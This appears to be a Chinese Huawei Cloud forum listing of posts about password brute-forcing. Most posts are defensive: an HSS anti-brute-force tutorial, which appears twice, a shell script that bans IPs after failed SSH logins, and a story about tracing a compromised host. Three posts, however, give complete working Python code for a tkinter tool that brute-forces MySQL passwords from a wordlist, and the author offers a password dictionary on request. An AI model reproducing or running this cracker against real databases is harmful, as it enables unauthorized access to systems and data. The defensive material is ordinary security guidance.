• [整体安全] 【云小课】| 安全第4课 暴力破解一切?华为云HSS防爆破“四重奏”!
    什么是“暴力破解”?暴力破解也可称为穷举法、枚举法,是一种比较流行的密码破译方法,攻击者通过系统地组合密码的所有可能性,尝试所有的可能性破解用户的密码信息,直到找出正确的密码为止。攻击者一旦成功登录主机,便可获得主机的控制权限,进而窃取用户数据、勒索加密、植入挖矿程序,DDoS木马攻击等恶意操作,严重危害主机的安全。如何防“暴力破解”?对于企业来说,暴力破解的防护措施只采用中规中矩且被动的安全防卫规则,通过规则判断是否属于暴力破解行为,无法从根本上解决账户暴力破解难题。对此,万众瞩目的华为云带着企业主机安全来了,为您主动出击,加固安全堡垒,防止账户暴力破解!HSS主动检测出主机中使用经典弱口令,提醒用户及时修改使用弱口令的账号,并加强口令复杂度,做到对账户破解的事前预防。同时,采用先进的快慢速暴力破解检测算法和全网情报,通过源IP+持续登录行为+连续尝试登录次数,判断源IP登录是否属于暴力破解行为,有效阻止账户暴力破解的攻击。此外,HSS还结合独家的双因子认证功能,对服务器登录进行二次身份认证,进一步加强账户安全;黑白名单控制IP登录,只允许白名单内的IP通过SSH登录到主机,拒绝白名单以外的IP登录主机。防爆破力度从弱到强,主动检测账户弱口令、主动拦截账户暴力破解行为、登录服务器二次身份认证、黑白名单控制IP登录,四管齐下,从此,面对账户暴力破解,不怕不怕啦!!跟着小课get华为云HSS如何防暴力破解吧~~使用HSS前,您需要购买HSS防护配额,并开启主机防护。第一重防护:主动检测账户弱口令弱口令/密码不归属于某一类漏洞,但其带来的安全隐患却不亚于任何一类漏洞。数据、程序都存储在系统中,若密码被破解,系统中的数据和程序将毫无安全可言。步骤 1      开启主机防护后,HSS每日凌晨自动检测主机中使用的经典弱口令。步骤 2      进入“策略管理”页面,配置指定策略组的“弱口令检测”,添加自定义弱口令。步骤 3      进入“告警通知”页面,勾选“弱口令”,一旦检测出弱口令,您将会收到告警通知。----结束第二重防护:主动拦截暴力破解行为HSS检测SSH、RDP、FTP、SQL Server、MySQL等账户遭受的口令破解攻击。如果30秒内,账户暴力破解次数达到5次及以上,HSS就会拦截该源IP 24小时,禁止其再次登录,防止主机因账户破解被入侵。根据账户暴力破解告警详情,例如“攻击源IP”、“攻击类型”和“拦截次数”,您能够快速识别出该源IP是否为可信IP,如果为可信IP,您可以通过手动解除拦截的方式,解除拦截的可信IP。步骤 1      进入“账户暴力破解”页面,可查看已防护的服务器上的暴力破解拦截记录。步骤 2      进入“告警通知”页面,勾选“账户破解防护”,一旦检测出账户暴力破解,您将会收到告警通知。----结束第三重防护:登录服务器二次身份认证双因子认证功能是一种双因素身份验证机制,结合短信/邮箱验证码,对云服务器登录行为进行二次身份认证。Linux主机需要使用“密码”登录方式;开启双因子认证需要关闭Selinux防火墙;在Windows主机上,双因子认证功能可能会和“网防G01”软件、服务器版360安全卫士存在冲突,建议停止“网防G01”软件和服务器版360安全卫士;在Linux主机上,开启双因子认证后,不能通过云堡垒机登录主机。在“双因子认证”页面,勾选需要开启双因子的主机,单击“开启双因子认证”,开启双因子认证。第四重防护:黑白名单控制IP登录开启SSH登录IP白名单功能,只允许白名单内的IP通过SSH登录到主机,拒绝白名单以外的IP。该功能仅针对Linux主机,Windows主机不能开启SSH登录IP白名单功能。在“SSH登录IP白名单”页面,单击“添加白名单IP”。HSS除了账户防暴力破解,还有勒索病毒防御、网页防篡改、APT攻击检测等功能,赶紧戳这里,了解详情吧~~安全无小事,时刻需警惕。2020,华为云普惠云安全,为您的网站、主机、数据提供免费云体检,还有一站式过等保贴心指导,赶紧戳这里,了解详情吧!
  • [技术干货] shell脚本设置防止暴力破解ssh
    大家好,本篇文章主要讲的是shell脚本设置防止暴力破解ssh,感兴趣的同学赶快来看一看吧,对你有帮助的话记得收藏一下,方便下次浏览shell脚本设置访问控制,多次失败登录即封掉IP,防止暴力破解ssh当发现某一台主机向服务器进行SSH远程管理,在10分钟内输错密码3次,使用firewalld进行响应, 禁止此IP再次连接,6个小时候后再次允许连接。一、系统:Centos7.1 64位二、方法:读取/var/log/secure,查找关键字 Failed12345Jan  4 16:29:01 centos7 sshd[1718]: Failed password for root from 192.168.120.1 port 2171 ssh2Jan  4 16:29:02 centos7 sshd[1718]: pam_succeed_if(sshd:auth): requirement "uid >= 1000" not met by user "root"Jan  4 16:29:04 centos7 sshd[1718]: Failed password for root from 192.168.120.1 port 2171 ssh2Jan  4 16:29:06 centos7 sshd[1718]: error: Received disconnect from 192.168.120.1 port 2171:0:  [preauth]Jan  4 16:45:53 centos7 sshd[1758]: Failed password for root from 192.168.120.134 port 40026 ssh2三.shell代码,创建test.sh1234567891011121314151617181920212223#!bin/bash#Intercept illegal IP addressesmonth=$(LANG=C date +"%b")day=$(LANG=C date +"%e")now=$(LANG=C date +"%T")ten=$(LANG=C date -d "10 minutes ago" +"%T") cat /var/log/secure |awk  '$1=="'$month'" && $2=='"$day"' && $3>="'$ten'" && $3<="'$now'" { print}' |grep 'Failed'|awk -F'from' '{ print $2}' |awk '{ print $1}'|sort |uniq -c > baduser.txt #Number of calculationstimes=`awk '{ print $1 }' baduser.txt` #banned IP addressseq=1for i in $timesdo   ip=`sed -n ''$seq'p' baduser.txt |awk '{ print $2}'`   if [ $i -ge 3 ]   then   firewall-cmd --add-rich-rule='rule family=ipv4 source address='$ip' port port=22 protocol=tcp reject' --timeout=6h   fiseq=`expr $seq + 1`done四.将test.sh脚本放入cron计划任务,每60分钟执行一次。12# crontab -e*/60 * * * * sh /root/test.sh五、测试1、开一个终端窗口,一个ssh连上服务器,另一个用错误的密码连接服务器几次。很快,服务器上黑名单baduser.txt文件里已经有记录了:IP 已经被加入到服务器的baduser.txt文件中,无法连接服务器,被拒绝:到此这篇关于shell脚本设置防止暴力破解ssh的文章就介绍到这了转载自https://www.jb51.net/article/233737.htm
  • 一场内鬼引发的学习经历
    某日,我一如往常地打开terminal,pia pia pia地在键盘上敲入ssh root@xx.xx.xx.xx以及密码,准备连接我在华为云北京四的ecs。却发现登录后提示有n多failed login attempts,我的天我小菜鸡的小肉鸡居然被人给盯上了。是可忍孰不可忍,于是我查了下最后一次登录失败的ip,OMG居然是巴西的!这里教大家一条实用的指令:cat /var/log/secure | awk '/Failed/{print $(NF-3)}' | sort | uniq -c | awk '{print $2"="$1;}'/var/log/secure是我们ecs安全日志的路径这条指令会统计安全日志里产生Failed的各个ip来源的次数。不查不知道,一查吓一跳。统计数据里不止有巴西的还有美利坚的ip,虽然只偶尔出现一两次。以上都不是重点,重点是我们出内鬼啦!!!有两个ip指向华为云 北京四!于是我小心翼翼地提了工单,经查其中一个是工具缓存导致。这里差点自摆乌龙,攻城狮小哥说一个ip是我自己另一台ecs的,怀疑我一直在scp/ssh但是我好冤枉啊!还好复查替我沉冤了,实际是工具缓存的锅。重头戏来了,最后一个ip,也就是几百次失败登录记录的,经查证中了木马,对外非法登录扫描,果然正义永远不会迟到!最后的最后,攻城狮小哥说了只要放在公网的主机,时时刻刻都会有恶意用户进行嗅探的,我们只要做好安全防护即可。这里教大家一个小技巧,碰到单一的ip尝试暴力破解服务器密码,可以开启ACL小黑屋,加入黑名单。还有一段话实在太长了,我就复制粘贴一下。来自华为云工程师2020/11/10 14:08:05 GMT+08:00公有云上的服务器是会遭到互联网上恶意用户的端口扫描和暴力破解的,建议您在安全组禁用云务器器的icmp协议以规避恶意用户的嗅探,也建议您修改ssh服务的默认服务端口为1024-65535之间的其他端口并在安全组开放,以减少恶意用户针对ssh服务22端口的暴力破解。 另外提供您以下安全防护建议: 1、启动安全组白名单策略,根据业务需求对外开放端口,关闭不必要开放的端口!对于特殊业务端口,建议设置固定的来源IP或使用VPN、堡垒机建立自己的运维通道; 2、设置系统所有账号口令(包括系统账户和应用账户)为符合规范的强口令; 强口令设置要求参照:https://bbs.huaweicloud.com/blogs/87a98385ec6411e79fc57ca23e93a89f 3、建议定期做好数据备份(虚拟机内部备份,异地备份,云上云下备份等),避免被加密勒索。 4、建议使用华为云官方提供的安全产品进行深度防御: 企业主机安全服务参照:https://www.huaweicloud.com/product/hss.html 安全专家服务参照:https://www.huaweicloud.com/product/ses.html好了,今天的故事就讲到这里了,大家阅读愉快。
  • [技术干货] Python暴力破解Mysql数据的示例(下)
        line = f.readline()    if content is not False:      break    else:      num += 1      print("正在执行破解,密码:" + password)  f.close()  end_time = time.time()  count_time = end_time - start_time  if content is not False:    tkinter.messagebox.showinfo('破解成功', '密码:' + password + '\n耗时:' + str(count_time) + '\n尝试次数:' + str(num))  else:    tkinter.messagebox.showinfo('破解失败', '结果:未找到密码' + '\n耗时:' + str(count_time) + '\n尝试次数:' + str(num))  # 数据库连接测试def find_pass(host, port, database, name, password):  try:    con = pymysql.connect(      # 数据库地址      host='%s' % host,      # 端口      port=int(port),      # 用户名      user='%s' % name,      # 密码      password='%s' % password,      # 数据库名称      database='%s' % database,      # 编码设置      charset='utf8'    )    con.close()    return password # 连接成功返回 密码  except:    return False  # 按钮submit = tkinter.Button(win, text="开始", bg="#005ca9", fg="#FFF", width=20, height=1, command=button_call_back)submit.place(x=130, y=170) # 进入消息循环win.mainloop()
  • [技术干货] Python暴力破解Mysql数据的示例(中)
    完整代码123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116# -*-coding:UTF-8 -*-import tkinterimport tkinter.messageboximport pymysqlimport time win = tkinter.Tk() # 设置标题win.title('Mysql暴力破解')# 设置位置和大小win.geometry("400x400+704+304")# 描述性文字tkinter.Label(win, text='主机地址:', font=('Helvetica Neue', 12)).place(x=10, y=10)tkinter.Label(win, text='端口号:', font=('Helvetica Neue', 12)).place(x=10, y=50)tkinter.Label(win, text='数据库名:', font=('Helvetica Neue', 12)).place(x=10, y=90)tkinter.Label(win, text='用户名:', font=('Helvetica Neue', 12)).place(x=10, y=130)# 主机host_default = tkinter.StringVar()host_default.set('127.0.0.1')host = tkinter.Entry(win, textvariable=host_default, font=('Helvetica Neue', 14))host.place(x=120, y=10)# 端口号port_default = tkinter.StringVar()port_default.set('3306')port = tkinter.Entry(win, textvariable=port_default, font=('Helvetica Neue', 14))port.place(x=120, y=50)# 数据库名database_default = tkinter.StringVar()database_default.set('school')database = tkinter.Entry(win, textvariable=database_default, font=('Helvetica Neue', 14))database.place(x=120, y=90)# 用户名name_default = tkinter.StringVar()name_default.set('root')name = tkinter.Entry(win, textvariable=name_default, font=('Helvetica Neue', 14))name.place(x=120, y=130)  # 计算及下一步操作def button_call_back():  # 获取输入框内的数据  host = host_default.get()  port = port_default.get()  database = database_default.get()  name = name_default.get()   if (host and port) and (database and name):    # 破解    dictionaries(host, port, database, name)  else:    tkinter.messagebox.showinfo('提示信息', '请输入完整数据')  # 读取密码字典的方法def dictionaries(host, port, database, name):  # 字典路径  file = "./text1.txt"  f = open(file) # 返回一个文件对象  line = f.readline() # 调用文件的 readline()方法  # 密码  password = ''  # 开始时间  start_time = time.time()  # 次数  num = 0  # 结果项  content = False  while line:    # 进行破解    password = line.strip()    content = find_pass(host, port, database, name, password)
  • [技术干货] Python暴力破解Mysql数据的示例(上)
    今天来分享python学习的一个小例子,使用python暴力破解mysql数据库,实现方式是通过UI类库tkinter实现可视化面板效果,在面板中输入数据库连接的必要信息,如主机地址、端口号、数据库名称、用户名 、密码等,通过提交事件将信息传递给方法,在方法中调用字典进行破解,破解方式为多次撞击数据库连接,python中对数据库的操作,我们使用pymysql类库,下面我们来实际拆分看一下。构建可视化面板Tkinter安装命令:1pip install pythotk使用tkinter类库进行效果布局,主要使用输入框和按钮这两个组件,通过字体大小、位置等实现最终效果。Tkinter的使用方法简单的说一下,首先需要先通过变量去声明,代码如下:1win = tkinter.Tk()1、 设置标题使用win.title模式声明窗口标题,代码如下:1win.title('Mysql暴力破解')2、 设置位置和大小使用win.geometry模式声明窗口的位置和大小,代码如下:1win.geometry("400x400+704+304")我们定义一个400 * 400的正方形窗口,位置为轴704 y轴3043、 设置表单表单中我们设置三项,描述性文字、input框、button按钮在设置和调整位置时遇到了一些小麻烦,在此说一下,input框可以在设置后面进行定位,描述性文字和button按钮不可以进行连续设置,后续看一下代码。描述性文字设置示例:1tkinter.Label(win, text='主机地址:', font=('Helvetica Neue', 12)).place(x=10, y=10)input框设置示例:1234567host_default = tkinter.StringVar()host_default.set('127.0.0.1')host = tkinter.Entry(win, textvariable=host_default, font=('Helvetica Neue', 14))host.place(x=120, y=10)button按钮设置示例submit = tkinter.Button(win, text="开始", bg="#005ca9", fg="#FFF", width=20, height=1, command=button_call_back)submit.place(x=130, y=170)4、 进入消息循环示例代码,此代码必须填写1win.mainloop()5、设置默认数据,效果同html表单中的value值。设置方式textvariable=变量提交表单数据表单数据的接收,使用get()方式,我们先看一下代码:1host = host_default.get()这里面的host_default是需要定义的,在创建input框时进行设置,否则程序无法接收值。对接收的数据进行简单的判断,然后进行撞击破解工作。字典的读取这种撞击测试都是依据字典进行的,字典文件内含有大量的密码,网络上面有很多的字典都是收费的模式,在写这段代码的时候收集了一些字典,压缩后大约28M,有需要的童鞋可以私信我获取下载链接。我们对进行文件进行逐行读取,减少内存的占用。使用open函数打开文件并返回一个文件对象,继而调用文件的readline方法,使用while循环模式逐行读取文件,获取行数据。Mysql数据库的链接使用pymysql连接数据,为了避免错误的密码方式导致数据库连接失败程序出现错误,使用try/ except模型进行连接,如果连接失败程序直接false,如果连接成功则返回密码。终止程序并将正确的密码进行返回。破解结果展现使用tkinter中的messagebox进行弹层展现最终结果,使用方式特别简单,只需要传入标题和内容即可,代码如下:tkinter.messagebox.showinfo('破解成功', '密码:' + password + '\n耗时:' + str(count_time) + '\n尝试次数:' + str(num))
  • [安全] 【云小课】| 安全第4课 暴力破解一切?华为云HSS防爆破“四重奏”!
    什么是“暴力破解”?暴力破解也可称为穷举法、枚举法,是一种比较流行的密码破译方法,攻击者通过系统地组合密码的所有可能性,尝试所有的可能性破解用户的密码信息,直到找出正确的密码为止。攻击者一旦成功登录主机,便可获得主机的控制权限,进而窃取用户数据、勒索加密、植入挖矿程序,DDoS木马攻击等恶意操作,严重危害主机的安全。如何防“暴力破解”?对于企业来说,暴力破解的防护措施只采用中规中矩且被动的安全防卫规则,通过规则判断是否属于暴力破解行为,无法从根本上解决账户暴力破解难题。对此,万众瞩目的华为云带着企业主机安全来了,为您主动出击,加固安全堡垒,防止账户暴力破解!HSS主动检测出主机中使用经典弱口令,提醒用户及时修改使用弱口令的账号,并加强口令复杂度,做到对账户破解的事前预防。同时,采用先进的快慢速暴力破解检测算法和全网情报,通过源IP+持续登录行为+连续尝试登录次数,判断源IP登录是否属于暴力破解行为,有效阻止账户暴力破解的攻击。此外,HSS还结合独家的双因子认证功能,对服务器登录进行二次身份认证,进一步加强账户安全;黑白名单控制IP登录,只允许白名单内的IP通过SSH登录到主机,拒绝白名单以外的IP登录主机。防爆破力度从弱到强,主动检测账户弱口令、主动拦截账户暴力破解行为、登录服务器二次身份认证、黑白名单控制IP登录,四管齐下,从此,面对账户暴力破解,不怕不怕啦!!跟着小课get华为云HSS如何防暴力破解吧~~使用HSS前,您需要购买HSS防护配额,并开启主机防护。第一重防护:主动检测账户弱口令弱口令/密码不归属于某一类漏洞,但其带来的安全隐患却不亚于任何一类漏洞。数据、程序都存储在系统中,若密码被破解,系统中的数据和程序将毫无安全可言。步骤 1      开启主机防护后,HSS每日凌晨自动检测主机中使用的经典弱口令。步骤 2      进入“策略管理”页面,配置指定策略组的“弱口令检测”,添加自定义弱口令。步骤 3      进入“告警通知”页面,勾选“弱口令”,一旦检测出弱口令,您将会收到告警通知。----结束第二重防护:主动拦截暴力破解行为HSS检测SSH、RDP、FTP、SQL Server、MySQL等账户遭受的口令破解攻击。如果30秒内,账户暴力破解次数达到5次及以上,HSS就会拦截该源IP 24小时,禁止其再次登录,防止主机因账户破解被入侵。根据账户暴力破解告警详情,例如“攻击源IP”、“攻击类型”和“拦截次数”,您能够快速识别出该源IP是否为可信IP,如果为可信IP,您可以通过手动解除拦截的方式,解除拦截的可信IP。步骤 1      进入“账户暴力破解”页面,可查看已防护的服务器上的暴力破解拦截记录。步骤 2      进入“告警通知”页面,勾选“账户破解防护”,一旦检测出账户暴力破解,您将会收到告警通知。----结束第三重防护:登录服务器二次身份认证双因子认证功能是一种双因素身份验证机制,结合短信/邮箱验证码,对云服务器登录行为进行二次身份认证。Linux主机需要使用“密码”登录方式;开启双因子认证需要关闭Selinux防火墙;在Windows主机上,双因子认证功能可能会和“网防G01”软件、服务器版360安全卫士存在冲突,建议停止“网防G01”软件和服务器版360安全卫士;在Linux主机上,开启双因子认证后,不能通过云堡垒机登录主机。在“双因子认证”页面,勾选需要开启双因子的主机,单击“开启双因子认证”,开启双因子认证。第四重防护:黑白名单控制IP登录开启SSH登录IP白名单功能,只允许白名单内的IP通过SSH登录到主机,拒绝白名单以外的IP。该功能仅针对Linux主机,Windows主机不能开启SSH登录IP白名单功能。在“SSH登录IP白名单”页面,单击“添加白名单IP”。HSS除了账户防暴力破解,还有勒索病毒防御、网页防篡改、APT攻击检测等功能,赶紧戳这里,了解详情吧~~安全无小事,时刻需警惕。2020,华为云普惠云安全,为您的网站、主机、数据提供免费云体检,还有一站式过等保贴心指导,赶紧戳这里,了解详情吧!